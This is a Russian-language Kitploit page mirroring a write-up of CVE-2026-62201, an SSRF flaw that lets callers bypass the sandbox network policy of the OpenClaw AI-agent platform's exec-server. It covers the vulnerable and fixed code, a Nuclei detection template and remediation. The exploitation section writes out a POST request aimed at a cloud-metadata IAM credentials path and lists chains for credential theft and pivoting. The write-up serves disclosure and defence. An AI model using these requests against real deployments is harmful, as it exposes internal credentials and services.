Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-62201-OpenClaw-SSRF — Глубокий анализ CVE-2026-62201: обход сетевой политики песочницы OpenClaw exec-server (SSRF). Первопричина, уязвимый и исправленный код, эксплуатация, обнаружение, устранение. | Kitploit
Инструменты/GitHubGitHub/diedromeo/cve-2026-62201-openclaw-ssrf
Анализ уязвимостейЭксплуатацияВеб-безопасностьБезопасность облачных сред
GitHubdiedromeo/cve-2026-62201-openclaw-ssrf

CVE-2026-62201-OpenClaw-SSRF

Глубокий анализ CVE-2026-62201: обход сетевой политики песочницы OpenClaw exec-server (SSRF). Первопричина, уязвимый и исправленный код, эксплуатация, обнаружение, устранение.

Репозиторий
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-62201 — Обход сетевой политики песочницы OpenClaw Exec-Server (SSRF)

Серьёзность: Высокая · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (Подделка серверных запросов)


Краткая информация об уязвимости

ПолеЗначение
КонсультацияGHSA-mgvr-6gvw-3rgr
NVDCVE-2026-62201
ПродуктOpenClaw (npm-пакет openclaw) — компонент песочницы exec-server
Затронутые версииopenclaw < 2026.6.6
Исправлено в2026.6.6 и новее
Корневая причинаОтсутствие проверки SSRF во встроенном HTTP-помощнике exec-server (SANDBOX_HTTP_REQUEST_SCRIPT)
Коммит с исправлением21410d1c — "fix(codex): guard sandbox http requests"
Вектор атакиHTTP POST к обработчику http/request exec-server с управляемым атакующим URL
ВоздействиеВызывающий код с низкими привилегиями получает доступ к внутренним сетевым ресурсам (метаданные облака, частные IP-адреса, службы localhost), которые сетевая политика OpenClaw должна блокировать

Резюме

OpenClaw — это платформа для ИИ-агентов, чей exec-server песочницы предоставляет HTTP-помощник, который агенты используют для исходящих веб-запросов. Версии до 2026.6.6 поставляли этот помощник без защиты от SSRF: вызывающий код с более низким уровнем доверия — любой агент, инструмент или путь ввода данных, который платформа считает менее доверенным, чем оператор шлюза — мог отправить произвольный URL и заставить exec-server получить его изнутри сети хоста.

Проверки сетевой политики, применяемые к прямому исходящему трафику песочницы, не применялись, когда запросы проходили через HTTP-интерфейс exec-server. Эта несогласованность и является уязвимостью: exec-server действовал как неограниченный HTTP-прокси во внутреннюю сеть.


Технический анализ

Компонент: Exec-Server песочницы

Когда OpenClaw запускает агента Codex в песочнице, он запускает локальный exec-server (extensions/codex/src/app-server/sandbox-exec-server.ts), который предоставляет методы JSON-RPC через транспорт WebSocket/HTTP. Один из этих методов, http/request, позволяет агенту получать URL-адреса. Реализация пропускает запрос через небольшой встроенный Python-скрипт — SANDBOX_HTTP_REQUEST_SCRIPT, — который выполняет фактическую работу urllib.

Обработчик запросов находится в extensions/codex/src/app-server/sandbox-exec-server/http.ts.

Уязвимый код ([email protected])

Python-помощник получал URL и проверял только схему:

root@kitploit:~
# Из [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (сокращено)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

Это и есть весь барьер. Отсутствовало:

  • ❌ Никакого блок-списка имён хостов (localhost, *.internal, metadata.google.internal …)
  • ❌ Никакого отклонения частных / link-local / loopback IP-адресов
  • ❌ Никакой проверки DNS-резолвинга (имя хоста могло разрешаться во внутренний IP-адрес)
  • ❌ Никакой проверки перенаправлений — редирект на http://169.254.169.254/ выполнялся вслепую

Результат: {"method":"GET","url":"http://<внутренний-хост>/"} возвращал тело внутреннего ответа вызывающему коду. Exec-server был открытым прокси в сеть хоста.

Исправление ([email protected])

Коммит 21410d1c добавил эшелонированную защиту на обоих уровнях:

Уровень 1 — предварительная проверка TypeScript (assertSandboxHttpRequestTargetAllowed в http.ts):

root@kitploit:~
function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

Уровень 2 — усиление Python-помощника (assert_url_allowed во встроенном скрипте):

  • Заблокированные имена хостов: localhost, localhost.localdomain, metadata.google.internal, а также суффиксы *.localhost, *.local, *.internal
  • IP-адреса метаданных облака: 169.254.169.254, 100.100.100.200, fd00:ec2::254
  • Заблокированные сети IPv4/IPv6: CGNAT 100.64.0.0/10, бенчмаркинг 198.18.0.0/15, документация 2001:db8::/32 и другие
  • Классификация ipaddress: loopback, частные, link-local, multicast, зарезервированные, неопределённые
  • Фиксация DNS-резолвинга: имя хоста разрешается до запроса, каждый полученный адрес проверяется, а проверенные адреса затем фиксируются для фактического соединения (предотвращает DNS-rebinding)
  • GuardedRedirectHandler: каждый переход по редиректу повторно запускает assert_url_allowed перед его выполнением
  • Извлечение IPv4 из IPv6: формы с отображением (::ffff:a.b.c.d), 6to4 (2002::/16), Teredo и ISATAP распаковываются, и их встроенный IPv4 проверяется
root@kitploit:~
def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

Эксплуатация

Предварительные условия

  • Работающий экземпляр OpenClaw < 2026.6.6 с включённым exec-server песочницы
  • Возможность доступа к HTTP-конечной точке exec-server и вызова http/request (платформа рассматривает это как доступ с низкими привилегиями — например, плагин, инструмент или путь ввода данных, а не оператор шлюза)

Пошаговое руководство

Шаг 1 — Отправка запроса, нацеленного на внутренний сервис:

root@kitploit:~
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

Шаг 2 — Уязвимый ответ (HTTP 200):

Exec-server получил внутренний URL и вернул тело ответа вызывающему коду — в base64-обёртке как bodyBase64:

root@kitploit:~
{
  "status": 200,
  "headers": [{"name":"Content-Type","value":"application/json"}],
  "bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}

Декодировано:

root@kitploit:~
{
  "secret": "...",
  "instanceId": "...",
  "region": "us-east-1",
  "role": "admin-role"
}

Шаг 3 — Ответ на исправленной версии (HTTP 502):

root@kitploit:~
{
  "error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}

Внутренний ресурс недоступен через exec-server на исправленных версиях.

Примеры цепочек атак

  1. Эксфильтрация метаданных облака — http://169.254.169.254/latest/meta-data/iam/security-credentials/ → учётные данные IAM
  2. Пивоттинг — доступ к консолям администратора, базам данных и другим внутренним сервисам в пространстве RFC 1918, которые никогда не должны были быть доступны с exec-server
  3. Сервисы localhost — http://127.0.0.1:<порт>/ для доступа к расположенным рядом неаутентифицированным интерфейсам управления

Воздействие и обоснование CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 Высокая

  • PR:L — для эксплуатации требуется доступ с низкими привилегиями (вызывающий код с более низким уровнем доверия / настроенный путь ввода данных), а не привилегии оператора шлюза. Именно сетевая поверхность атаки делает её опасной: exec-server находится внутри сети развёртывания.
  • S:C — область действия меняется: компрометация не ограничивается exec-server, она распространяется на внутреннюю сеть (служба метаданных, частные сервисы).
  • C:H / I:N / A:N — основное воздействие — конфиденциальность: эксфильтрация данных из внутренних ресурсов. Прямого воздействия на запись или доступность через этот путь нет.

Важно понимать контекст консультации: модель доверенных операторов OpenClaw предполагает, что операторы шлюза доверенны. Ошибка в том, что поверхность с более низким уровнем доверия (плагины, инструменты, пути ввода данных) могла достигать ресурсов, которые политика должна была блокировать.


Обнаружение

Nuclei

Доступен шаблон обнаружения — на основе OAST, не требующий предварительного знания внутренней топологии:

root@kitploit:~
http:
  - raw:
      - |
        POST /exec/http HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "bodyBase64"

Отправлено в вышестоящий репозиторий: projectdiscovery/nuclei-templates#17183

Сигналы в журналах и телеметрии

  • Исходящие запросы от процесса exec-server к адресам RFC 1918 / link-local / loopback
  • POST-запросы к /exec/http (или эквиваленту WebSocket JSON-RPC), тело JSON которых содержит поле url, указывающее на частные/внутренние ресурсы
  • Запросы от exec-server к IP-адресу метаданных облака (169.254.169.254, 100.100.100.200)
  • Аномальный исходящий трафик: exec-server подключается к портам/сервисам, к которым ему не следует обращаться

Устранение

  1. Обновление — npm install [email protected] (или новее). Исправление добавляет полную проверку SSRF как на границе TS, так и внутри Python-помощника.
  2. Ограничение доступа к exec-server — предоставляйте доступ только доверенным агентам/инструментам; изолируйте его от путей ввода данных с более низким уровнем доверия.
  3. Сужение списков разрешённых инструментов и каналов — минимальные привилегии для того, что агенты могут вызывать.
  4. Контроль исходящего сетевого трафика — если невозможно немедленно обновиться, заблокируйте на сетевом уровне доступ хоста exec-server к конечным точкам метаданных и внутренним диапазонам в качестве компенсирующей меры.
  5. Избегайте общих шлюзов между недоверяющими пользователями до установки исправления.

Хронология раскрытия

  • Сообщено сопровождающим OpenClaw (процесс GitHub Security Advisory)
  • Консультация опубликована: GHSA-mgvr-6gvw-3rgr — высокая серьёзность
  • Присвоен CVE: CVE-2026-62201
  • Выпущено исправление: 2026.6.6

Ссылки

  • GHSA-mgvr-6gvw-3rgr — Консультация по безопасности OpenClaw
  • NVD — CVE-2026-62201
  • Консультация VulnCheck
  • Коммит с исправлением 21410d1c
  • Уязвимый исходный код — sandbox-exec-server/http.ts

Ответственное раскрытие

Это исследование проводилось на основе публично раскрытых данных об уязвимостях и программного обеспечения, развёрнутого в изолированной лаборатории. Никакие действующие производственные системы, сторонние сети или исследования zero-day не задействованы. Все использованные здесь PoC представляют собой безвредные запросы только на чтение.

Скачать инструмент